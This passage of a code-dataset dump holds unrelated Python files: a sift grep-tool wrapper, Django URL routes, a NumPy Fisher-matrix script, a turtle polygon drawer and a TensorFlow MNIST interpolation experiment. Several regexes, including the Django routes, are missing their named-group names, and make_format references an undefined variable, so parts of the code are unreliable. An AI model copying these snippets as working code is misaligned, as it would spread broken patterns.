meta characters'),\n\tArgument(names=('Q', 'literal'), help='treat pattern as literal, quote meta characters', attr_name='Literal'),\n\tArgument(names=('R', 'no-recursive'), attr_name='NoRecursive', help='do not recurse into directories'),\n\tArgument(names=('S', 'no-smart-case'), attr_name='NoSmartCase', help='disable smart case'),\n\tArgument(names=('T', 'no-type'), attr_name='ExcludeTypes', help='limit search to specific file types (comma-separated, see --list-types)'),\n\tArgument(names=('V', 'version'), attr_name='Version', help='show version and license information'),\n\tArgument(names=('X','exclude-ext'), attr_name='ExcludeExtensions', help='exclude specific file extensions (comma-separated)'),\n\tArgument(names=('Z', 'no-zip'), attr_name='NoZip', help='do not search content of compressed .gz files'),\n\tArgument(names=('a', 'binary-text'), attr_name='BinaryText', help='process files that seem to be binary as text'),\n\tArgument(names=('c', 'count'), attr_name='Count', help='print count of matches per file'),\n\tArgument(names=('e', 'regexp'), attr_name='Regexp', fmt='PATTERN', help='add pattern PATTERN to the search'),\n\tArgument(names=('f', 'regexp-file'), attr_name='RegexpFile', fmt='FILE', help='search for patterns contained in FILE (one per line)'),\n\tArgument(names=('h', 'help'), attr_name='Help', help='Show this help message'),\n\tArgument(names=('i', 'ignore-case'), attr_name='IgnoreCase', help='case insensitive (default: off)'),\n\tArgument(names=('l', 'files-with-matches'), attr_name='FilesWithMatches', help='list files containing matches'),\n\tArgument(names=('m', 'multiline'), attr_name='Multiline', help='multiline parsing (default: off)'),\n\tArgument(names=('n', 'line-number'), attr_name='ShowLineNumbers', help='show line numbers (default: off)'),\n\tArgument(names=('o', 'output'), attr_name='Output', fmt='FILE|tcp://HOST:PORT', help='write output to the specified file or network connection'),\n\tArgument(names=('q', 'quiet'), attr_name='Quiet', help='suppress output, exit with return code zero if any match is found'),\n\tArgument(names=('r', 'recursive'), attr_name='Recursive', help='recurse into directories (default: on)'),\n\tArgument(names=('s', 'smart-case'), attr_name='SmartCase', help='case insensitive unless pattern contains uppercase characters (default: off)'),\n\tArgument(names=('t', 'type'), attr_name = 'IncludeTypes', help='limit search to specific file types (comma-separated, see --list-types)'),\n\tArgument(names=('v', 'invert-match'), attr_name='InvertMatch', help='select non-matching lines'),\n\tArgument(names=('w', 'word-regexp'), attr_name='WordRegexp', help='only match on ASCII word boundaries'),\n\tArgument(names=('x', 'ext'), attr_name='IncludeExtensions', help='limit search to specific file extensions (comma-separated)'),\n\tArgument(names=('z', 'zip'), attr_name='Zip', help='search content of compressed .gz files (default: off)'),\n\t###File Condition options:\n\tArgument(name=('file-matches'), fmt='PATTERN', help='only show matches if file also matches PATTERN'),\n\tArgument(name=('line-matches'), fmt='NUM:PATTERN', help='only show matches if line NUM matches PATTERN'),\n\tArgument(name=('range-matches'), fmt='X:Y:PATTERN', help='only show matches if lines X-Y match PATTERN'),\n\tArgument(name=('not-file-matches'), fmt='PATTERN', help='only show matches if file does not match PATTERN'),\n\tArgument(name=('not-line-matches'), fmt='NUM:PATTERN', help='only show matches if line NUM does not match PATTERN'),\n\tArgument(name=('not-range-matches'), fmt='X:Y:PATTERN', help='only show matches if lines X-Y do not match PATTERN'),\n\t\n\t\n\t###Match Condition options:\n\tArgument(name=('preceded-by'), fmt='PATTERN', help='only show matches preceded by PATTERN'),\n\tArgument(name=('followed-by'), fmt='PATTERN', help='only show matches followed by PATTERN'),\n\tArgument(name=('surrounded-by'), fmt='PATTERN', help='only show matches surrounded by PATTERN'),\n\tArgument(name=('preceded-within'), fmt='NUM:PATTERN', help='only show matches preceded by PATTERN within NUM lines'),\n\tArgument(name=('followed-within'), fmt='NUM:PATTERN', help='only show matches followed by PATTERN within NUM lines'),\n\tArgument(name=('surrounded-within'), fmt='NUM:PATTERN', help='only show matches surrounded by PATTERN within NUM lines'),\n\tArgument(name=('not-preceded-by'), fmt='PATTERN', help='only show matches not preceded by PATTERN'),\n\tArgument(name=('not-followed-by'), fmt='PATTERN', help='only show matches not followed by PATTERN'),\n\tArgument(name=('not-surrounded-by'), fmt='PATTERN', help='only show matches not surrounded by PATTERN'),\n\tArgument(name=('not-preceded-within'), fmt='NUM:PATTERN', help='only show matches not preceded by PATTERN within NUM lines'),\n\tArgument(name=('not-followed-within'), fmt='NUM:PATTERN', help='only show matches not followed by PATTERN within NUM lines'),\n\tArgument(name=('not-surrounded-within'), fmt='NUM:PATTERN', help='only show matches not surrounded by PATTERN within NUM lines'),\n\n]\n\nclass Context(_Context):\n\t#kinds ={'STRING': str, 'NUM': int, 'PATTERN': str, 'FILE': str, 'GLOB':str}\n\t#values = {str: 'STRING',}\n\t\n\tdef help_for(self, flag):\n\t\t\"\"\"\n\t\tReturn 2-tuple of ``(flag-spec, help-string)`` for given ``flag``.\n\t\t\"\"\"\n\t\t# Obtain arg obj\n\t\tif flag not in self.flags:\n\t\t\terr = \"{0!r} is not a valid flag for this context! Valid flags are: {1!r}\" # noqa\n\t\t\traise ValueError(err.format(flag, self.flags.keys()))\n\t\targ = self.flags[flag]\n\t\t# Determine expected value type, if any\n\t\tif hasattr(arg, 'fmt'):\n\t\t\tvalue = arg.fmt\n\t\telse:\n\t\t\tvalue = {str: 'STRING',}.get(arg.kind)\n\t\t# Format & go\n\t\tfull_names = []\n\t\tfor name in self.names_for(flag):\n\t\t\tif value:\n\t\t\t\t# Short flags are -f VAL, long are --foo=VAL\n\t\t\t\t# When optional, also, -f [VAL] and --foo[=VAL]\n\t\t\t\tif len(name.strip('-')) == 1:\n\t\t\t\t\tvalue_ = (\"[{0}]\".format(value)) if arg.optional else value\n\t\t\t\t\tvaluestr = \" {0}\".format(value_)\n\t\t\t\telse:\n\t\t\t\t\tvaluestr = \"={0}\".format(value)\n\t\t\t\t\tif arg.optional:\n\t\t\t\t\t\tvaluestr = \"[{0}]\".format(valuestr)\n\t\t\telse:\n\t\t\t\t# no value => boolean\n\t\t\t\t# check for inverse\n\t\t\t\tif name in self.inverse_flags.values():\n\t\t\t\t\tname = \"--[no-]{0}\".format(name[2:])\n\t\t\t\tvaluestr = \"\"\n\t\t\t# Tack together\n\t\t\tfull_names.append(name + valuestr)\n\t\tnamestr = \", \".join(sorted(full_names, key=len))\n\t\thelpstr = arg.help or \"\"\n\t\treturn namestr, helpstr\n\t\n\t#def __init__(self):\n\t#\tsuper()#self, Context).__init__(*args, **kwargs)\n\nHELP = output('sift --help')\n\nSIFT_MANTEXT = '/Users/kristen/manpages/sift.mantxt'\n\n\n\nDEFAULTS = '--column --binary-skip --only-matching --smart-case --line-number --ext=re --regexp={}'\n\n\n\nLINE = regex.compile(r'\\s+(?-\\w)?,?\\s+(?--[\\w-]+)(?:\\s|=)(?[^\\s]+)\\s*(?.+)')\n#lv = '{long}={value}'\n\n\ndef get_sift_types():\n\tTYPES = output('sift --list-types')\n\ttypes = dict()\n\tnameval = regex.compile('(?\\w+)\\s+:(?.+)')\n\tflm = regex.compile(' or first line matches ')\n\tfor match in nameval.finditer(TYPES):\n\t\tif match:\n\t\t\tname = match.group('name')\n\t\t\tvalues = match.group('values')\n\t\t\tvals = flm.split(values)\n\t\t\tif len(vals) == 2:\n\t\t\t\t\n\t\t\t\tvals, extra = vals\n\t\t\t\tvals = vals.strip()\n\t\t\t\textra = extra.strip('/')\n\t\t\telse:\n\t\t\t\tvals = vals[0].strip()\n\t\t\t\textra = ''\n\t\t\tvals = regex.sub('\\s(\\w+)', r';\\1', vals).strip(';')\n\t\t\tvals = regex.sub('\\s?\\*\\.', ',', vals).strip(',')\n\t\t\tprint(vals)\n\t\t\tresult = ';'.join((vals, extra)).strip(';')\n\t\t\ttypes[name] = result\n\treturn types\n\t\ndef get_sift_help():\n\tSIFT_MANTEXT = open('/Users/kristen/manpages/sift.mantxt').read()\n\tHELP = output('sift --help')\n\titem = regex.compile('\\s+(--[\\w-]+)(?:\\s|=)')\n\titemeq = regex.compile('\\s+(?-\\w)?,?\\s+(?--[\\w-]+)(?:=)(?[\\w:]+)')\n\titemsp = regex.compile('\\s+(?-[\\w]+)?,?\\s+(?--[\\w-]+)(?:\\s)')\n\t#i = item.findall(HELP)\n\teq = itemeq.findall(HELP)\n\tsp = itemsp.findall(HELP)\n\tprint(SIFT_MANTEXT)\n\treturn eq, sp, HELP, SIFT_MANTEXT\n\ndef get_eqs(iterable=None):\n\tif not iterable:\n\t\titerable, _ = get_sift_help()\n\tnots = set([])\n\texcludes = set([])\n\tshortdict = dict()\n\tresults = set([])\n\t\n\tnotexcl = regex.compile(r'((?:exclude|not)\\-)')\n\tfor s, l, v in iterable:\n\t\tl = l.strip('-')\n\t\tif l.startswith('exclude-'):\n\t\t\texcludes.add(l.lstrip('exclude-'))\n\t\t\t\n\t\tif l.startswith('not-'):\n\t\t\tnots.add(l.lstrip('not-'))\n\t\t\t\n\t\tvalue = '='.join((l,v))\n\t\tresults.add(value)\n\t\tif s:\n\t\t\tshort = s.strip('-')\n\t\t\tshortdict[s] = value\n\treturn shortdict, results, excludes, nots\n\t\ndef get_sp(iterable= None):\n\tif not iterable:\n\t\t_, iterable = get_sift_help()\n\tname = set([])\n\tnames = set([])\n\tfor s,l in iterable:\n\t\tl = l.strip('-')\n\t\tif s:\n\t\t\ts = s.strip('-')\n\t\t\tnames.add((s, l))\n\t\tif not s:\n\t\t\tname.add(l)\n\treturn name, sorted(names, key=lambda x: x[0].lower())\n\t\n\n\t\n\nprev = '-t|-T|--type|--no-type|--del-type'.split('|')\n\nLOCAL_SIFT =LOCAL_CONFIG= '/Users/kristen/PycharmProjects/proj/startups/startups/.sift.conf'\n\n\nDEL_TYPE = 'sift --del-type {} --write-config'\n\nADD_TYPES = \"sift --add-type 'ruby=*.rb,*.erb,Rakefile;\\bruby\\b' --write-config\"\n\nADD_TYPE = '--add-type {} --write-config'\n#bs = '--binary-skip'\n#files = '--files=GLOB' #search only files whose name matches GLOB\n#\n#ipath = '--ipath=PATTERN'\n#TYPE = '--type='\n#FIELD_SEP = '--field-sep=:'\n#SEP = '--output-sep={}'\n#ONLY_MATCHING = '--only-matching'\n#SMART = '--smart-case'\n\n\ndef make_format(flag, self=None):\n\tfull_names = []\n\tvalue = {str: 'STRING',}\n\tfor name in self.names_for(flag):\n\t\tif value:\n\t\t\tif len(name.strip('-')) == 1:\n\t\t\t\tvalue_ = (\"[{0}]\".format(value)) if arg.optional else value\n\t\t\t\tvaluestr = \" {0}\".format(value_)\n\t\t\telse:\n\t\t\t\tvaluestr = \"={0}\".format(value)\n\t\t\t\tif arg.optional:\n\t\t\t\t\tvaluestr = \"[{0}]\".format(valuestr)\n\t\telse:\n\t\t\tif name in self.inverse_flags.values():\n\t\t\t\tname = \"--[no-]{0}\".format(name[2:])\n\t\t\t\tvaluestr = \"\"\n\t\t\t\tfull_names.append(name + valuestr)\n\t\t\n\t\t\n\ndef lexer(instream, posix=True):\n\tlexer = shlex.shlex(instream=instream, posix=posix)\n\tlexer.whitespace_split = True\n\t# lexer.punctuation_chars = '|'\n\t# lexer._pushback_chars = '||'\n\t# lexer.commenters = ''\n\t# lexer.instream\n\t# read_token()\n\t# push_token(tok) #now in pushback\n\t# s.pushback.rotate(n)\n\t# s.pushback.extend\n\t# s.pushback.extendleft\n\t# lexer.pushback.insert\n\t# push_source('--print-config')\n\t# i =lexer.instream.read()\n\treturn lexer\n\n\n\n#sift_count = '--count'\n#sift_files = '--files=GLOB'\n#sift_notfiles = '--exclude-files=GLOB'\n#sift_path = '--path=PATTERN'\n#sift_notpath = '--exclude-path=PATTERN'\n#sift_nottype = '--no-type='\n#sift_type = '--type='\n#sift_list = '--files-with-matches'\n#sift_group = '--group'\n#ignore_case = '--ignore-case'\n#sift_literal = '--literal'\n#sift_multiline = '--multiline'\n#sift_notmultiline = '--no-multiline'\n#sift_regexpfile = '--regexp-file={}'\n#sift_recursive = '--recursive'\n#sift_norecursive = '--no-recursive'\n#\n#sift_line_number = '--line-number'\n#sift_no_linenumber = '--no-line-number'\n#sift_stats = '--stats'\n#sift_file = '--file-matches=PATTERN'\n#sift_not_file = '--not-file-matches=PATTERN'\n#\n#sift_match_surround = '--surrounded-by=PATTERN'\n#sift_match_followed = '--followed-by=PATTERN'\n#sift_match_preceded = '--preceded-by=PATTERN'\n\n\nFILES_MATCH = r'(\\d+)\\sfiles\\smatch'\nMATCHES_FOUND = r'(\\d+)\\smatches\\sfound'\nFILES_PROCESSED = r'(\\d+)\\sfiles\\sprocessed'\n\n# sift --add-type 'ruby=*.rb,*.erb,Rakefile;\\bruby\\b' --write-config\n#'--no-conf'\n\nconf = Argument(name='conf', optional=True, help='load config file FILE', fmt='FILE')\nno_conf = Argument(name='no-conf', optional=True, kind=bool, attr_name='NoConfig', help='do not load config files', fmt='')\n\n\n\nclass ConfigError(Exception):\n\tdef __init__(self, name, msg=None):\n\t\tself.name = name\n\t\tself.msg = msg\n\t\n\tdef __str__(self):\n\t\tif self.msg:\n\t\t\treturn 'Config Check {!r} failed with {!r}'.format(self.name, self.msg)\n\t\telse:\n\t\t\treturn 'Config Check {!r} failed.'.format(self.name)\n\ndef get_config_from_commandline():\n\timport json\n\tout = output('sift --print-config')\n\tstart = out.find('{')\n\tif start > 0:\n\t\tout = out[start:]\n\treturn json.loads(out)\n\t\n\n\n#todo important\nclass SiftConfig(addict.addict.Dict):\n\tnetTargetFound = False\n\tstdinTargetFound = False\n\t\n\tdef __init__(self, file=None, *args, **kwargs):\n\t\timport json\n\t\tif not file:\n\t\t\tself.file = os.path.expandvars('$HOME/.sift.conf')\n\t\t\tself.configfile = json.load(open(self.file))\n\t\telse:\n\t\t\tself.file = file\n\t\t\tself.configfile = json.load(open(self.file))\n\t\tsuper(SiftConfig, self).__init__(*args, **kwargs)\n\t\tfor name, value in self.configfile.items(): self.__setitem__(name, value)\n\t\t\n\t\tself.config = self\n\t\tself.CHECKS = dict()\n\t\t\n\tdef check_line(self, line):\n\t\tev = eval(line)\n\t\tif ev:\n\t\t\treturn ConfigError(line)\n\t\treturn ev\n\t\t\n\tdef check_outputsep(self):\n\t\toutsep = self.OutputSeparator != \"\\n\"\n\t\tbeforeafter = eval(\"(len(self.ContextBefore) != 0 or len(self.ContextAfter) != 0)\")\n\t\treturn outsep and beforeafter\n\t\n\t\n\t\n\tdef lines(self):\n\t\tbeforeafter = 'eval(\"(len(self.ContextBefore) != 0 or len(self.ContextAfter) != 0)\")'\n\t\tfiles = 'self.FilesWithMatches and self.FilesWithoutMatch'\n\t\tself.CHECKS['files'] = 'self.FilesWithMatches and self.FilesWithoutMatch'\n\t\tself.CHECKS['beforeafter'] = 'eval(\"(len(self.ContextBefore) != 0 or len(self.ContextAfter) != 0)\")'\n\t\tself.CHECKS[0] = 'bool(self.config.InvertMatch) and self.config.Multiline'\n\t\tself.CHECKS[1] = 'self.netTargetFound and bool(self.config.InvertMatch)'\n\t\tself.CHECKS[2] = 'self.config.OutputLimit < 0'\n\t\tself.CHECKS[4] = '(self.stdinTargetFound or self.netTargetFound) and {}'.format(beforeafter)\n\t\tself.CHECKS[5] = '(self.stdinTargetFound or self.netTargetFound) and self.config.TargetsOnly'\n\t\tself.CHECKS[6] = '{} and (self.config.Count or {})'.format(beforeafter, files)\n\t\tself.CHECKS[7] = 'self.config.Zip and {}'.format(beforeafter)\n\t\tself.CHECKS[8] = 'self.config.BinarySkip and self.config.BinaryAsText'\n\t\tself.CHECKS[9] = 'self.config.ErrSkipLineLength and self.config.ErrShowLineLength'\n\t\tself.CHECKS[10] = 'bool(self.config.OnlyMatching) and self.config.Replace != \"\" '\n\t\tself.CHECKS[11] = 'self.config.ExcludePath != \"\" and self.config.ExcludeIPath != \"\" '\n\t\tself.CHECKS[12] = 'self.config.IncludePath != \"\" and self.config.IncludeIPath != \"\"'\n\t\t\n\t\t\n\t\tfor k, v in self.CHECKS.items():\n\t\t\tprint(repr(v))#), eval(v))\n\n\n\nfuncs = ('checkFormats', 'processConditions', 'checkCompatibility', 'performAutoDetections')\n\nstdinTargetFound = False\nnetTargetFound = False\n\n#bool(o.InvertMatch) and o.Multiline #('multiline','invert')\n#netTargetFound and bool(o.InvertMatch)\n#o.OutputLimit < 0\n#o.OutputSeparator != \"\\n\" and (len(o.ContextBefore) > 0 or len(o.ContextAfter) > 0)\n#(stdinTargetFound or netTargetFound) and (len(o.ContextBefore) > 0 or len(o.ContextAfter) > 0)\n#(stdinTargetFound or netTargetFound) and o.TargetsOnly\n#(len(o.ContextBefore) != 0 or len(o.ContextAfter) != 0) and (o.Count or o.FilesWithMatches or o.FilesWithoutMatch)\n#o.FilesWithMatches and o.FilesWithoutMatch\n#o.Zip and (len(o.ContextBefore) != 0 or len(o.ContextAfter) != 0)\n#o.BinarySkip and o.BinaryAsText #('binary-skip','binary-text')\n#o.ErrSkipLineLength and o.ErrShowLineLength #('err-skip-line-length','err-show-line-length')\n#bool(o.OnlyMatching) and o.Replace != \"\" #, ('only-matching','replace')\n#o.SmartCase and (len(patterns) > 1 or len(global.conditions) > 0) #\"the smart case option cannot be used with multiple patterns or conditions\"\n#o.ExcludePath != \"\" and o.ExcludeIPath != \"\" #, ('exclude-path','exclude-ipath')\n#o.IncludePath != \"\" and o.IncludeIPath != \"\" #('path','ipath')\n#if len(o.Context) > 0:\n\t#o.ContextBefore =o.Context\n\t#o.ContextAfter = o.Context\n\n\n\n#o.processTypes\n#o.checkFormats\n#o.processConditions\n#o.checkCompatibility(patterns, targets)\n#o.performAutoDetections(patterns, targets)\n\nSiftConfigFile = \".sift.conf\"\nOutputSeparator = \"\"\nBLOCKSIZE = '^\\d+[kKmM]?$'\nnetTcpRegex = '^(tcp[46]?)://(.*:\\d+)$'\ntarget = \"-\"\n\nfalse = False\ntrue = True\n\n\n\nclass Condition(object):\n\tregex = ''\n\tconditionType = None\n\twithin = None\n\tlineRangeStart = None\n\tlineRangeEnd = None\n\tnegated = False\n\n\n\nFileConditions = AttrDict(FileMatches=Argument(name='file-matches', fmt='PATTERN', help='only show matches if file also matches PATTERN'),\n LineMatches=Argument(name='line-matches',help='only show matches if line NUM matches PATTERN'),\n\t\t\t\t\t\t\tRangeMatches = Argument(name='range-matches', fmt='X:Y:PATTERN', help='only show matches if lines X-Y match PATTERN'),\n\t\t\t\t\t\t\tNotFileMatches='not-file-matches',\n NotLineMatches ='not-line-matches',\n NotRangeMatches= None)\n\nMatchConditions = AttrDict(Preceded=Argument(name='preceded-by', help='only show matches preceded by PATTERN'),\n\t\t\t\t\t\tFollowed=Argument(name='followed-by', fmt='PATTERN', help='only show matches followed by PATTERN'),\n Surrounded='surrounded-by',\n PrecededWithin=None,\n FollowedWithin=None,\n SurroundedWithin=None,\n NotPreceded=None,\n NotFollowed=None,\n NotSurrounded=None,\n NotPrecededWithin=None,\n NotFollowedWithin=None,\n NotSurroundedWithin=Argument(name='not-surrounded-within'),)\n\n\n\n\nclass FileType(object):\n\tShebangRegex = None\n\tPatterns = []\n\ndef proc_custom(custom):\n\tfileTypesMap = dict()\n\tfor name, e in custom.items():\n\t\tft = FileType()\n\t\ts = e.split(\";\", maxsplit=2)\n\t\tif len(s) == 2 and s[1] != \"\":\n\t\t\treg = regex.compile(s[1])\n\t\t\tft.ShebangRegex = reg\n\t\tpatterns = s[0].split(',')\n\t\tft.Patterns = patterns\n\t\tfileTypesMap[name] = ft\n\treturn fileTypesMap\n\ndef add_custom(custom): pass\n\n\n\n\n\nif __name__ == '__main__': print(__file__)","sub_path":"startups/integrations/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":31153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"396062250","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n\turl(r'^$', views.ModelList.as_view(), name='model_list'),\n\turl(r'^company/create$', views.CompanyCreate.as_view(), name='company_create'),\n\turl(r'^company$', views.CompanyList.as_view(), name='company_list'),\n\turl(r'^company/detail/(?P\\d+)/$', views.CompanyDetail.as_view(), name='company_detail'),\n\turl(r'^company/update/(?P\\d+)/$', views.CompanyUpdate.as_view(), name='company_update'),\n\turl(r'^company/delete/(?P\\d+)/$', views.CompanyDelete.as_view(), name='company_delete'),\n\turl(r'^laptop/create$', views.LaptopCreate.as_view(), name='laptop_create'),\n\turl(r'^laptop$', views.LaptopList.as_view(), name='laptop_list'),\n\turl(r'^laptop/detail/(?P\\d+)/$', views.LaptopDetail.as_view(), name='laptop_detail'),\n\turl(r'^laptop/update/(?P\\d+)/$', views.LaptopUpdate.as_view(), name='laptop_update'),\n\turl(r'^laptop/delete/(?P\\d+)/$', views.LaptopDelete.as_view(), name='laptop_delete'),\n\turl(r'^employee/create$', views.EmployeeCreate.as_view(), name='employee_create'),\n\turl(r'^employee$', views.EmployeeList.as_view(), name='employee_list'),\n\turl(r'^employee/detail/(?P\\d+)/$', views.EmployeeDetail.as_view(), name='employee_detail'),\n\turl(r'^employee/update/(?P\\d+)/$', views.EmployeeUpdate.as_view(), name='employee_update'),\n\turl(r'^employee/delete/(?P\\d+)/$', views.EmployeeDelete.as_view(), name='employee_delete'),\n]\n","sub_path":"challenge/crud/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"93546382","text":"import numpy as np\ninfile1 = \"fisher_matrix_BBN_3000_fsky0.4.txt\"\ninfile2 = \"fisher_matrix_cl21T_BBN_3000_fsky0.4.txt\"\n#infile1 = \"fisher_matrix_BBN_5000_fsky0.7.txt\"\n#infile2 = \"fisher_matrix_cl21T_BBN_5000_fsky0.7.txt\"\ninfile_planck = \"/Users/NanoomLee/Documents/Master@StonyBrook/ISW_21cm_Code/prior_planck_logAs.txt\"\nprior_planck = np.zeros([8,8])\nfor i in range(6):\n\ta = np.loadtxt (infile_planck)[0:,i]\n\tprior_planck[i][:6] = a.copy()\nF = np.zeros([8,8])\nfor i in range(8):\n\tF[i,:] = np.loadtxt(infile1)[0:,i]+np.loadtxt(infile2)[0:,i]\n\nF = F + prior_planck\n\ndata = np.column_stack((F[0],F[1],F[2],F[3],F[4],F[5],F[6],F[7]))\n#np.savetxt('Planck_S4_BBN_3000_fsky0.4.txt', data, fmt = '%f')\nnp.savetxt('Planck_S4_21_BBN_5000_fsky0.7.txt', data, fmt = '%f')\n\n","sub_path":"result/add_prior.py","file_name":"add_prior.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"450125949","text":"import turtle\r\nimport math\r\nturtle.shape('turtle')\r\ndef pol(a,n):\r\n turtle.penup()\r\n turtle.goto(a/(2*math.sin((math.pi)/n)),0)\r\n turtle.pendown()\r\n turtle.left(90*(1+2/n))\r\n b = 0\r\n while b < n:\r\n turtle.forward(a)\r\n turtle.left(360/n)\r\n b += 1\r\n turtle.right(90*(n+2)/n)\r\nx=30\r\ny=3\r\nwhile y<13:\r\n pol(x, y)\r\n x += 10\r\n y += 1\r\n","sub_path":"9.py","file_name":"9.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"555598899","text":"import matplotlib.pyplot as plt\nimport tensorflow as tf\nimport numpy as np\nimport time\nimport sys\nimport os\n\n# Import MNIST data\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n\nclass MyModel:\n\n def __init__(self, input_tensor, name, layers=None):\n self.layers = [] # Stack of layers.\n self.outputs = input_tensor\n self.name = name\n\n # Add to the model any layers passed to the constructor.\n if layers:\n for layer in layers:\n self.add(layer)\n\n def add(self, layer):\n self.layers.append(layer)\n self.outputs = layer\n\n def summary(self):\n def print_row(fields, positions):\n line = ''\n for i in range(len(fields)):\n if i > 0:\n line = line[:-1] + ' '\n line += str(fields[i])\n line = line[:positions[i]]\n line += ' ' * (positions[i] - len(line))\n print(line)\n\n line_length = 65;\n position = [.45, .85, 1.]\n if position[-1] <= 1:\n position = [int(line_length * p) for p in position]\n to_display = ['Layer (type)', 'Output Shape', 'Param #']\n\n print('_' * line_length)\n print_row(to_display, position)\n print('=' * line_length)\n total_cnt = 0\n\n for layer in tf.trainable_variables(scope=self.name):\n param_cnt = np.prod(layer.get_shape().as_list())\n total_cnt += param_cnt\n output_shape = layer.get_shape().as_list()\n fields = [layer.name, output_shape, param_cnt]\n print_row(fields, position)\n print('='*line_length)\n print(\"Total parameters:\", total_cnt)\n print('')\n\n\ndef dense_layer(input_tensor, input_dim, output_dim, name, activation=tf.nn.relu):\n with tf.variable_scope(name):\n W = tf.get_variable('weights', [input_dim, output_dim], dtype=tf.float32)\n b = tf.get_variable('bias', [output_dim], dtype=tf.float32)\n output = tf.nn.bias_add(tf.matmul(input_tensor, W), b)\n return activation(output)\n\n\ndef test_net(x, name, num_layers=2, hidden_units=32, reuse=False):\n with tf.variable_scope(name, reuse=reuse):\n model = MyModel(x,name)\n for l in range(num_layers):\n dim = np.prod(model.outputs.get_shape().as_list()[1:])\n model.add(dense_layer(model.outputs, dim,hidden_units, name=\"fc\"+str(l+1)))\n\n dim = np.prod(model.outputs.get_shape().as_list()[1:])\n model.add(dense_layer(model.outputs, dim, num_classes, name=\"output\", activation=tf.identity))\n model.summary()\n return model.outputs\n\n\nif __name__=='__main__':\n mnist = input_data.read_data_sets(\"./MNIST\", one_hot=True)\n num_input = 784 \n num_classes = 10\n learning_rate = 0.001\n num_epoch = 3\n exp_type = [64, 1024]\n model_name = \"DNN_hidden2_dim128_batch\"\n weight = {}\n bias = {}\n\n for batch_size in exp_type:\n X = tf.placeholder(tf.float32, [None, num_input])\n Y = tf.placeholder(tf.float32, [None, num_classes])\n\n print(\"\")\n print('\\033[5;31;40mExperiment setting:\\033[0m')\n print(model_name+str(batch_size))\n\n logits = test_net(X,name=model_name+str(batch_size),\n num_layers=2,\n hidden_units=128,\n )\n prediction = tf.nn.softmax(logits)\n loss_op = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(\n logits=logits, labels=Y))\n\n optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)\n train_op = optimizer.minimize(loss_op)\n\n correct_pred = tf.equal(tf.argmax(prediction, 1), tf.argmax(Y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\n init = tf.global_variables_initializer()\n\n bar_length = 20\n\n with tf.Session() as sess:\n\n sess.run(init)\n \n for epoch in range(num_epoch):\n print(\"\")\n print(\"Epoch:{}/{}\".format(epoch+1, num_epoch))\n total_steps = int(mnist.train.num_examples/batch_size) \n for step in range(total_steps):\n batch_x, batch_y = mnist.train.next_batch(batch_size)\n # Run optimization op (backprop)\n t = time.time()\n sess.run(train_op, feed_dict={X: batch_x, Y: batch_y})\n remain_time = round((time.time()-t)*(total_steps-step))\n loss, acc = sess.run([loss_op, accuracy], feed_dict={X: batch_x, Y: batch_y})\n\n progress = round(bar_length*(step/total_steps))\n text = \"\\rProgress: [%s] - ETA: %-4ds - loss: %-5.3f - acc: %-5.3f\"%(\n '='*(progress-1)+'>'+'.'*(bar_length-progress),\n remain_time,\n loss,\n acc\n )\n sys.stdout.write(text)\n sys.stdout.flush()\n\n weight[\"wf1_\"+str(batch_size)] = sess.run(tf.trainable_variables(scope=model_name+str(batch_size)+'/fc1/weights:0')),\n weight[\"wf2_\"+str(batch_size)] = sess.run(tf.trainable_variables(scope=model_name+str(batch_size)+'/fc2/weights:0')),\n weight[\"wfo_\"+str(batch_size)] = sess.run(tf.trainable_variables(scope=model_name+str(batch_size)+'/output/weights:0')),\n\n bias[\"bf1_\"+str(batch_size)] = sess.run(tf.trainable_variables(scope=model_name+str(batch_size)+'/fc1/bias:0')),\n bias[\"bf2_\"+str(batch_size)] = sess.run(tf.trainable_variables(scope=model_name+str(batch_size)+'/fc2/bias:0')),\n bias[\"bfo_\"+str(batch_size)] = sess.run(tf.trainable_variables(scope=model_name+str(batch_size)+'/output/bias:0')),\n\n\n print('')\n print(\"Optimization Finished!\")\n\n\n print(\"Training Completed\")\n\n\n print(\"Start Interpolation Experiment\")\n\n sample_point = 300\n alpha_set = np.linspace(-1,2,sample_point)\n test_loss_record = np.zeros(sample_point)\n test_acc_record = np.zeros(sample_point)\n train_loss_record = np.zeros(sample_point)\n train_acc_record = np.zeros(sample_point)\n weight_test = {}\n bias_test = {}\n total_steps = int(mnist.train.num_examples/batch_size)\n \n for index, alpha in enumerate(alpha_set):\n progress = round(bar_length*(index/sample_point))\n text = \"\\rProgress: [%s] %d/%d\"%(\n '='*(progress-1)+'>'+'.'*(bar_length-progress),\n index+1,\n sample_point\n )\n sys.stdout.write(text)\n sys.stdout.flush()\n\n\n tf.reset_default_graph()\n weight_test['wf1'] = (1.0-alpha)*weight['wf1_'+str(exp_type[0])][0][0] + alpha*weight['wf1_'+str(exp_type[1])][0][0]\n weight_test['wf2'] = (1.0-alpha)*weight['wf2_'+str(exp_type[0])][0][0] + alpha*weight['wf2_'+str(exp_type[1])][0][0]\n weight_test['wfo'] = (1.0-alpha)*weight['wfo_'+str(exp_type[0])][0][0] + alpha*weight['wfo_'+str(exp_type[1])][0][0]\n\n bias_test['bf1'] = (1.0-alpha)*bias['bf1_'+str(exp_type[0])][0][0] + alpha*bias['bf1_'+str(exp_type[1])][0][0]\n bias_test['bf2'] = (1.0-alpha)*bias['bf2_'+str(exp_type[0])][0][0] + alpha*bias['bf2_'+str(exp_type[1])][0][0]\n bias_test['bfo'] = (1.0-alpha)*bias['bfo_'+str(exp_type[0])][0][0] + alpha*bias['bfo_'+str(exp_type[1])][0][0]\n\n X = tf.placeholder(tf.float32, [None, num_input])\n Y = tf.placeholder(tf.float32, [None, num_classes])\n\n fc1 = tf.add(tf.matmul(X, weight_test['wf1']), bias_test['bf1'])\n fc1 = tf.nn.relu(fc1)\n fc2 = 